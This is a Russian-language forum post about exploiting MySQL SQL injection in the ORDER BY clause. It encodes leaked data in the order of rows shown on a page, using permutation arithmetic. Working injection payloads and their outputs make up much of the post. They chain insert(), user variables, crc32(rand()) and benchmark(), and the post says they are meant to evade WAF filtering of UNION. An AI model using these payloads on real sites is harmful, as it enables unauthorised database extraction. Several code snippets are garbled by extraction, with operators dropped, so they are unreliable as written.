Показать сообщение отдельно
Старый 20.06.2014, 18:06   #2
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
Wink Продолжение. Третье дыхание

В продолжение развития темы нестандартного использования функции insert() не помешало бы довести и эту тему до финала (пока теоретического), благо к ней никто не притрагивался.

Кстати о insert(), с помощью неё можно создать неплохой итератор, отсутствие поддержки переменных этому не помешает:
PHP код:
mysqlSELECT length(insert(0x3A,1,0,1))-1 from mysql.user;
+------------------------------+
length(insert(0x3A,1,0,1))-|
+------------------------------+
|                            
|
|                            
|
|                            
|
|                            
|
|                            
|
+------------------------------+

// Неплохой, но не идеальный:
mysqlSELECT -(length(insert(0x3A,1,0,1))-1from mysql.user;
+---------------------------------+
| -(
length(insert(0x3A,1,0,1))-1) |
+---------------------------------+
|                              -
|
|                              -
|
|                              -
|
|                              -
|
|                              -
|
+---------------------------------+

// Чтобы избежать подобного поведения insert можно использовать rand(0)*0, sleep(0), @a:=@a+1 и другие подобные конструкции в одном из аргументов:
mysqlSELECT -(length(insert(0x3A,1,sleep(0),1))-1from mysql.user;
+----------------------------------------+
| -(
length(insert(0x3A,1,sleep(0),1))-1) |
+----------------------------------------+
|                                     -
|
|                                     -
|
|                                     -
|
|                                     -
|
|                                     -
|
+----------------------------------------+ 
Переменные все-таки можно использовать, если следовать некоторым правилам (список пополняется):

PHP код:
mysqlSELECT host FROM mysql.user ORDER BY if(crc32(rand(9))in(7237891), (@ := 1), (@ := @ + 1)) LIMIT 1;
+-----------+
host      |
+-----------+
127.0.0.1 |
+-----------+
1 row in set (0.01 sec)

mysqlSELECT @;
+------+
| @    |
+------+
|    
|
+------+
1 row in set (0.00 sec
Это не единственный вариант, однако наиболее надежный и опробованный. При нарушении правил переменная может не действовать или вести себя магическим, не сразу заметным, образам.

Векторы для случаев, когда кол-во записей в таблице равно 0 или 1 приведены здесь (в UPD, UPD1, UPD2).

Начнем

Q. Почему необходимо крутить SQL-injection в ORDER BY? Почему нельзя вывести все через UNION SELECT?
A. Непосредственное использование UNION после ORDER BY невозможно.

Использовать методику проведения инъекций в ORDER BY можно даже тогда, когда его нет в исходном запросе. Это может быть полезно в следующих случаях (вывод ошибок отсутствует):
  • Реакции WAF на UNION или UNION SELECT
  • Инъекции в двух запросах с разным кол-вом полей (если при ошибке вывод блокируется)

Синтаксис конструкций после ORDER BY:
Код:
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]
Обратите внимание: возможно использование LIMIT, однако он выполнится только после всех итераций выражения в ORDER BY. Кстати, о выражении:
Нетрудно заметить, что в статье использовался самый непосредственный подход — на вход выражению подавался N-ный элемент (N = 0, 1, ...), выражение определяло его местоположение. Однако, можно ли получать на вход место (0, 1, ...) и устанавливать на него определенный элемент? ORDER BY не имеет таких опций, но ничто не мешает воспринимать входящие элементы как места и устанавливать на них элементы:

(Первый столбец — традиционный подход: Элемент -> Место. Второй столбец — нетрадиционный подход: Место -> Элемент.)

Что необходимо для разгрома?
  • Сетевое ПО
  • Парсер ответа (преобразователь страницы в массив с номерами сортируемых блоков)
  • Преобразователь ответа в последовательность бит
  • Генератор SQL-запросов
Задача
Остановимся на SQL-запросе — именно он являются главным, движущим атаку. Всего имеется N элементов, на страницу поступает K элементов.

Кол-вом вариантов перестановки данных элементов называется число размещений из n по k.

Если это не является пустыми словами для вас — поздравляю, вам придется прочитать про это ещё раз! Я стараюсь не ограничивать аудиторию, когда это возможно. Иначе зачем писать, когда можно выложить ссылку на готовенькое? Потом, если это не требуется, то почему не поступили предложения по улучшению?

Рассмотрим возможные перестановки цифр от 1 до 5: 12345, 12354, 32154, ....

Для расчета числа перестановок воспользуемся правилом умножения. Первая цифра имеет 5 вариантов размещений, вторая — 4 (одно место уже занято), третья — 3. Всего вариантов: 5×4×3×2×1 = 120.

Числа вида 1×2×3×4×5×...×N называются факториалами и обозначаются как N!.

Что значит число размещений из n по k? Предположим есть 10 различных элементов. Если у нас имеется 5 ячеек, то это число — число возможных расстановок этих 10 элементов в 5-ти ячейках (каждая ячейка может содержать только 1 элемент) или число размещений из 10 элементов по 5. То есть то, что нужно.

Рассмотрим размещения из 8 элементов по 5. Попробуем вычислить их общее количество. На обозрение выставляется 5 элементов. На первом месте может стоять 1 из 8 элементов, на втором - 1 из 7-ми (один уже стоит на первом)... Таким образом, общее число число вариантов равно 8×7×6×5×4 = 8×7×6×5×4×3×2×1 / (3×2×1) = 8! / (8 - 5)! = 6 720. Данное соотношение называется убывающим факториалом.

С помощью 8 новостей и вывода 5-ти из них на страницу можно получить log[2, 6 720] ≈ 12 bit вывода. Способ №2 из статьи даст около 4 бит. Но способ №2 даст! А этот — ещё нет.

Теория. Вывод N элементов
Попробуем разобрать вариант попроще, с выводом 4-х элементов из 4. Все возможные перестановки (в лексикографическом порядке):
Код:
 0 => [0, 1, 2, 3]
 1 => [0, 1, 3, 2]
 2 => [0, 2, 1, 3]
 3 => [0, 2, 3, 1]
 4 => [0, 3, 1, 2]
 5 => [0, 3, 2, 1]

 6 => [1, 0, 2, 3]
 7 => [1, 0, 3, 2]
 8 => [1, 2, 0, 3]
 9 => [1, 2, 3, 0]
10 => [1, 3, 0, 2]
11 => [1, 3, 2, 0]

12 => [2, 0, 1, 3]
13 => [2, 0, 3, 1]
14 => [2, 1, 0, 3]
15 => [2, 1, 3, 0]
16 => [2, 3, 0, 1]
17 => [2, 3, 1, 0]

18 => [3, 0, 1, 2]
19 => [3, 0, 2, 1]
20 => [3, 1, 0, 2]
21 => [3, 1, 2, 0]
22 => [3, 2, 0, 1]
23 => [3, 2, 1, 0]
Как узнать элемент, стоящий на первом месте, по номеру последовательности? Заметим, он получается так: X div 6. Первый элемент (как и все остальные) будет повторяться столько раз, сколько перестановок имеют оставшиеся элементы. То есть X div (N - 1)!. Это полностью верно для первого элемента. Но как быть с остальными? При определении первого элемента мы имеем дело с множеством {0, 1, 2, 3}, для оставшихся оно является другим. Полученная формула справедлива для нахождения номера элемента в множестве, а не для самого элемента.

Два возможных решения этой проблемы:
  • Массив с множеством (строка с элементами, где каждые байт (2 байта, 4 байта) обозначает(ют) один из элементов)
  • Спецметод, основанный на восстановлении множеств на стороне клиента
Простой реализации второго решения нет (учитывая трудности order by), так что придется довольствоваться первым. Работа с импровизированным массивом (со строкой) разделяется на 2 части:
  • Генерация
  • Выборка

Генерация:
PHP код:
// Отправка со стороны клиента
@array := 0x000102030405060708090A;

// Генерация на сервере
@:= 0;
@array := 
0x00;

benchmark(10, @array := concat(@array, char(@:= @1))); 
Выборка:
PHP код:
// Получаем:
@:= mid(@array, N1); // N = 1, 2, ...

// Удаляем:
@array := replace(@array, @e'');

@array := 
insert(@array, N1''); // N = 1, 2, ... 
Итак, проблемы решены. Дело за реализацией. Инициализация:
PHP код:
Кол-во выводимых элементов (4)

@
текущее местов обратном порядке (прямой нигде не используется). (4-14-24-34-4) = (3210)
@
text Номер последовательностикоторую мы хотим вывести
Функции вычисления факториала на сервере нет, создавать её нецелесообразно, однако то и не требуется. Достаточно передать на сервер его наибольшее значение:
PHP код:
F6 720;        // 6!
F5 F6/120// 5!
F4 F5/24;  // 4!
F3 F4/6;   // 3!
F2 F3/2;   // 2!
F1 F2/1;   // 1!
F0 F2/1;   // 0! 
Итого:
PHP код:
// Инициализация:
SET @array := 0x00010203;
SET @:= 5;
SET @:= 24;

SET @text := 13;

// ORDER BY:

@:= @/ (@:= @1); // Факториал
ord(mid(@array, + @number_e := (@text div @f), 1)) // Номер, должен быть отдан ORDER BY. Функцию ord применять необязательно

// Действия, производимые после отдачи в ORDER BY:
@array := insert(@array, + @number_e1''); // Удаление элемента из массива
@text := @text - @number_e * @f// Обновление номера последовательности 
Объединяем:
Код:
SELECT * FROM (SELECT 0 UNION SELECT 1 UNION SELECT 2 UNION SELECT 3)a WHERE 1 ORDER BY
      if(
          crc32(rand(9))in(7237891) and
          (@array := 0x00010203) * (@number_e := @i := 5) * (@f := 24) * (@text := 13) * 0, 0, 

    concat(
        ord(mid(@array, 1 + @number_e := (@text div @f := @f / (@i := @i - 1)), 1)), 
        space((@array := insert(@array, 1 + @number_e, 1, trim(0x20))) * (@text := @text - @number_e * @f) * 0)
    )
);
PHP код:
// Выполняем:
+---+
|
+---+
|
|
|
|
+---+
4 rows in set (0.01 sec)

// Преобразовываем:

<=> | |
<=> | |
<=> | |
<=> | |

<=> | |
<=> | |
<=> | |
<=> | |

=> 
2031 
Работает!
Теория. Вывод K элементов из N
Пример. Размещения из 5 по 3 (в лексикографическом порядке):
PHP код:
 0 => [012]
 
=> [013]
 
=> [014]
 
=> [021]
 
=> [023]
 
=> [024]
 
=> [031]
 
=> [032]
 
=> [034]
 
=> [041]
10 => [042]
11 => [043]
12 => [102]
13 => [103]
14 => [104]
15 => [120]
16 => [123]
17 => [124]
18 => [130]
19 => [132]
20 => [134]
21 => [140]
22 => [142]
23 => [143]
24 => [201]
25 => [203]
26 => [204]
27 => [210]
28 => [213]
29 => [214]
30 => [230]
31 => [231]
32 => [234]
33 => [240]
34 => [241]
35 => [243]
36 => [301]
37 => [302]
38 => [304]
39 => [310]
40 => [312]
41 => [314]
42 => [320]
43 => [321]
44 => [324]
45 => [340]
46 => [341]
47 => [342]
48 => [401]
49 => [402]
50 => [403]
51 => [410]
52 => [412]
53 => [413]
54 => [420]
55 => [421]
56 => [423]
57 => [430]
58 => [431]
59 => [432
5!/(5-3)! = 5 × 4 × 3 = 60

Насколько сложно найти здесь закономерности? Не сложнее, чем в первом примере, однако до этого следует уточнить некоторые моменты. Мы пользуемся системой место -> элемент, а не элемент -> место. При выводе 59-ой последовательности с помощью ORDER BY возникнет данная позиция:
PHP код:
<=> 4
<=> 3
<=> 2
<=> 9e9
<=> 9e9 
На страницу будут выведены только 3 элемента, их никак не хватит, так что возвращение традиционной системы неизбежно. Придется генерировать все последовательности на первом шагу, а на итерациях отдавать подготовленный результат.

Разберемся с закономерностями. Первая цифра получается так: X div 12. На первое место имеется 5 кандидатов, на второе - 4, на третье - 3. Как уже было выяснено, номер элемента в множестве определяется количеством размещений оставшихся элементов. Кол-во размещений на вторых и третьих местах равно 5 × 4 × 3 / 5 = 12, на третьем месте равно 12 / 4 = 4 × 3 / 4 = 3. т.е. все полученные формулы справедливы.

Реализуем:
PHP код:
SELECT FROM (SELECT 0 UNION SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4)a WHERE 1 ORDER BY
      
if(
          
crc32(rand(9))in(7237891) and
          (@array := 
0x0001020304) * (@number_e := @:= 6) * (@:= 60) * (@text := 53) * (@:= 0) * (@out := repeat(0x0010))
          * 
benchmark(3
                 (@
out := insert(@outord(mid(@array, + @number_e := (@text div @:= @/ (@:= @1)), 1)), 1char(@i)))*
                 (@array := 
insert(@array, + @number_e1trim(0x20))) * (@text := @text - @number_e * @f)
    ), 
0mid(@out, @:= @11)
DESC LIMIT 3;

// В обратном порядке:
SELECT FROM (SELECT 0 UNION SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4)a WHERE 1 ORDER BY
      
if(
          
crc32(rand(9))in(7237891) and
          (@array := 
0x0001020304) * (@number_e := @:= 6) * (@:= 60)  * (@text := 53) * (@:= 0) * (@out := repeat(0xFF10))
          * 
benchmark(3
                 (@
out := insert(@outord(mid(@array, + @number_e  := (@text div @:= @/ (@:= @1)), 1)), 1char(@i)))*
                 (@array := 
insert(@array, + @number_e1trim(0x20))) * (@text := @text - @number_e * @f)
    ), 
0mid(@out, @:= @11)
LIMIT 3
Работает!

Большие числа и MySQL
Как вы могли заметить, вычисления могут быть ресурсоемкими, и числа, для которых они применяются - совсем не маленькими. Что случается при переполнении простых типов данных вы можете прочитать здесь, а теперь о сложных.

Тип называется DECIMAL, одно число включает в себя до 65 десятичных разрядов (без потери точности), а также поддерживается практически всеми арифметическими операторами. Пример использования:
PHP код:
mysqlSET @test := 92233720368547758080 92233720368547758080;
Query OK0 rows affected (0.00 sec)

mysqlSELECT @test;
+-------+
| @
test |
+-------+
|     
|
+-------+
1 row in set (0.00 sec)


// 18 446 744 073 709 551 610 × 5 = 92 233 720 368 547 758 050
mysqlSELECT (@test 5) * 18446744073709551610;
+-----------------------------------------------------+
| (@
test 5) * 18446744073709551610                  |
+-----------------------------------------------------+
92233720368547758050.000000000000000000000000000000 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

mysqlSELECT 5 18446744073709551610;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(5 * 18446744073709551610)' 
Спасибо за внимание!

Последний раз редактировалось NameSpace; 03.07.2014 в 13:01..
NameSpace вне форума   Ответить с цитированием